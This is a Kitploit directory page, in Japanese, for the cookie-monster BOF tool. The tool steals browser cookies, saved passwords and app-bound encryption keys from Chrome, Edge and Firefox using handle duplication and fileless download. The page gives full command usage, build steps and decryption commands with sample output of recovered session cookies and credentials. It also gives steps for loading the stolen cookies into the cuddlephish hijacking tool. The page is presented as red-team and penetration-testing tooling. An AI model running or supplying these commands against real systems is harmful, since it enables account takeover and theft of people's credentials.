Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cookie-monster — BOFベースのツールで、Chrome、Edge、Firefoxからハンドル複製とファイルレスダウンロードを通じてブラウザのクッキーと認証情報を抽出し、オフライン復号をサポートします。 | Kitploit
ツール/GitHubGitHub/kingofthenops/cookie-monster
データ流出ポストエクスプロイトペネトレーションテストレッドチーミング
GitHubkingofthenops/cookie-monster

cookie-monster

BOFベースのツールで、Chrome、Edge、Firefoxからハンドル複製とファイルレスダウンロードを通じてブラウザのクッキーと認証情報を抽出し、オフライン復号をサポートします。

リポジトリを見る
5645628日前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Cookie-Monster-BOF

BOFを介してEdge、Chrome、FirefoxのブラウザCookieを盗み取ります!

Cookie Monster BOFは、EdgeとChromeの両方のWebKitマスターキーとApp Bound暗号化キーを抽出し、CookieファイルおよびLogin Dataファイルへのハンドルを持つブラウザプロセスを特定し、そのハンドルをコピーしてからターゲットファイルをファイルレスでダウンロードします。

Cookie/Login Dataファイルがダウンロードされたら、Python復号スクリプトを使用してそれらの秘密情報を抽出できます!Firefoxモジュールはprofiles.iniを解析し、logins.jsonとkey4.dbファイルの場所を特定してダウンロードします。オフラインで復号するために別のGitHubリポジトリが参照されています。

Chrome & Edge 127+ アップデート:新しいChromiumブラウザのCookie(v20)は、Cookieを暗号化するためにアプリバウンドキーを使用します。その結果、app_bound_encrypted_keyを取得するのがやや難しくなります。snovvcrashのおかげで、権限を昇格させることなくこのプロセスを実行できます。ただし、プロセスがWebブラウザのアプリケーションディレクトリから実行されている必要があります。つまり、Chrome/Edgeにインジェクションするか、ブラウザと同じアプリケーションディレクトリからビーコンを起動する必要があります。

SYSTEMとしてCookieを復号し、ブラウザプロセスにインジェクションする必要なし!ChromeのPostProcessData関数の復号方法を発見した@sdemius氏と、その説明を提供した@b1scoito氏に称賛を!Chrome 137+ではPostProcessData()関数が再び変更されました。解明してくれた@runassu氏に称賛を!

最新アップデートでは、@M1ndo氏のおかげでWebKitマスターキーの復号が追加されました。マスターキーはアプリバウンドキーと共に自動的に復号されます。利用するには、キーをPython復号スクリプトに追加してください。このキーは主に、ローミングプロファイルが使用されている場合、Edgeに保存されたパスワード、または古い保存パスワードで使用されます。

BOFの使用方法

root@kitploit:~
Usage: cookie-monster [--chrome || --edge || --system <Local State File Path> <PID> || --firefox || --chromeCookiePID <PID> || --chromeLoginDataPID <PID> || --edgeCookiePID <PID> || --edgeLoginDataPID <PID> ] [--cookie-only] [--key-only] [--login-data-only] [--copy-file "C:\Folder\Location\"] 
cookie-monster Examples: 
   cookie-monster --chrome 
   cookie-monster --edge
   cookie-monster --system "C:\Users\<USER>\AppData\Local\<BROWSER>\User Data\Local State" <PID>
   cookie-moster --firefox 
   cookie-monster --chromeCookiePID <PID>
   cookie-monster --chromeLoginDataPID <PID> 
   cookie-monster --edgeCookiePID <PID> 
   cookie-monster --edgeLoginDataPID <PID> 
cookie-monster Options: 
    --chrome, looks at all running processes and handles, if one matches chrome.exe it copies the handle to cookies and then copies the file to the CWD 
    --edge, looks at all running processes and handles, if one matches msedge.exe it copies the handle to cookies and then copies the file to the CWD 
    --system, Decrypt chromium based browser app bound encryption key without injecting into browser. Requires path to Local State file and PID of a user process for impersonation 
    --firefox, looks for profiles.ini and locates the key4.db and logins.json file 
    --chromeCookiePID, if chrome PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file 
    --chromeLoginDataPID, if chrome PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file   
    --edgeCookiePID, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file 
    --edgeLoginDataPID, if edge PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file  
    --key-only, only retrieve the app bound encryption key. Do not attempt to download the Cookie or Login Data files. 
    --cookie-only, only retrieve the Cookie file. Do not attempt to download Login Data file or retrieve app bound encryption key. 
    --login-data-only, only retrieve the Login Data file. Do not attempt to download Cookie file or retrieve app bound encryption key.  
    --copy-file, copies the Cookie and Login Data file to the folder specified. Does not use fileless retrieval method.   

BOFのコンパイル

コンパイル前に、LinuxにMingw-w64とmakeがインストールされていることを確認してください。

root@kitploit:~
make

復号手順

必要なパッケージをインストール

root@kitploit:~
pip3 install -r requirements.txt

使い方

root@kitploit:~
python3 decrypt.py -h                                                                                                                                                                      
usage: decrypt.py [-h] -k KEY -o {cookies,passwords,cookie-editor,cuddlephish,firefox} -f FILE [--chrome-aes-key CHROME_AES_KEY]

Decrypt Chromium cookies and passwords given a key and DB file

options:
  -h, --help            show this help message and exit
  -k KEY, --key KEY     Decryption key
  -o {cookies,passwords,cookie-editor,cuddlephish,firefox}, --option {cookies,passwords,cookie-editor,cuddlephish,firefox}
                        Option to choose
  -f FILE, --file FILE  Location of the database file
  --chrome-aes-key CHROME_AES_KEY
                        Chrome AES Key
  -mk MASTER_KEY, --master-key MASTER_KEY
                        Old key used in v10 passwords

例: Chrome/EdgeのCookieファイルを復号

root@kitploit:~
python .\decrypt.py -k "\xec\xfc...." -o cookies -f ChromeCookies.db

Results Example:
-----------------------------------
Host: .github.com
Path: /
Name: dotcom_user
Cookie: KingOfTheNOPs
Expires: Oct 28 2024 21:25:22

Host: github.com
Path: /
Name: user_session
Cookie: x123.....
Expires: Nov 11 2023 21:25:22

Chrome AESキーを使用してChrome Cookieを復号

root@kitploit:~
python3 decrypt.py --chrome-aes-key '\x8e\....' -k "\x03\...." -o cuddlephish -f ChromeCookies.db
Cookies saved to cuddlephish_2025-07-03_01-53-57.json

Chrome/EdgeのCookieファイルを復号し、JSONとして保存

root@kitploit:~
python .\decrypt.py -k "\xec\xfc...." -o cookie-editor -f ChromeCookies.db
Results Example:
Cookies saved to 2025-04-11_18-06-10_cookies.json

JSON Cookieファイルをhttps://cookie-editor.com/ でインポートします。

Chrome/Edgeのパスワードファイルを復号

root@kitploit:~
python3 decrypt.py -o passwords -f EdgePasswords.db -k '\xf9\x...' -mk '\xf3\x..'

URL: https://test.com/
Username: adgf
Password: pass

Results Example:
-----------------------------------
URL: https://test.com/
Username: tester
Password: McTesty

FirefoxのCookieと保存された認証情報を復号:
https://github.com/lclevy/firepwd

CuddlePhish対応

復号スクリプトにcuddlephishオプションを追加しました。これにより、https://github.com/fkasler/cuddlephish でCookieを使用できるようになります。

root@kitploit:~
# Cookieを復号
python3 decrypt.py -k "\xec\xfc..." -o cuddlephish -f ChromeCookies.db

# プロジェクトをクローン
cd 
git clone https://github.com/fkasler/cuddlephish
cd cuddlephish

# 依存関係のインストール例(Debian)
curl -fsSL https://deb.nodesource.com/setup_23.x -o nodesource_setup.sh
sudo -E bash nodesource_setup.sh
sudo apt-get install nodejs
npm install

# Cookieをインポート
cp ~/cookie-monster/cuddlephish_YYYY-MM-DD_HH-MM-SS.json .
node stealer.js cuddlephish_YYYY-MM-DD_HH-MM-SS.json

参考文献

このプロジェクトは、Mr-Un1k0d3r氏と彼の素晴らしい季節ごとのビデオの助けなしには成し遂げられませんでした。 彼のレッスンをぜひチェックすることをお勧めします!!!
Cookie Webkitマスターキー抽出ツール: https://github.com/Mr-Un1k0d3r/Cookie-Graber-BOF
ファイルレスダウンロード: https://github.com/fortra/nanodump
CookieとLogin Dataの復号: https://github.com/login-securite/DonPAPI
アプリバウンドキー復号: https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824
Chrome 137+ Cookieの復号: https://github.com/runassu/chrome_v20_decryption

ツールをダウンロード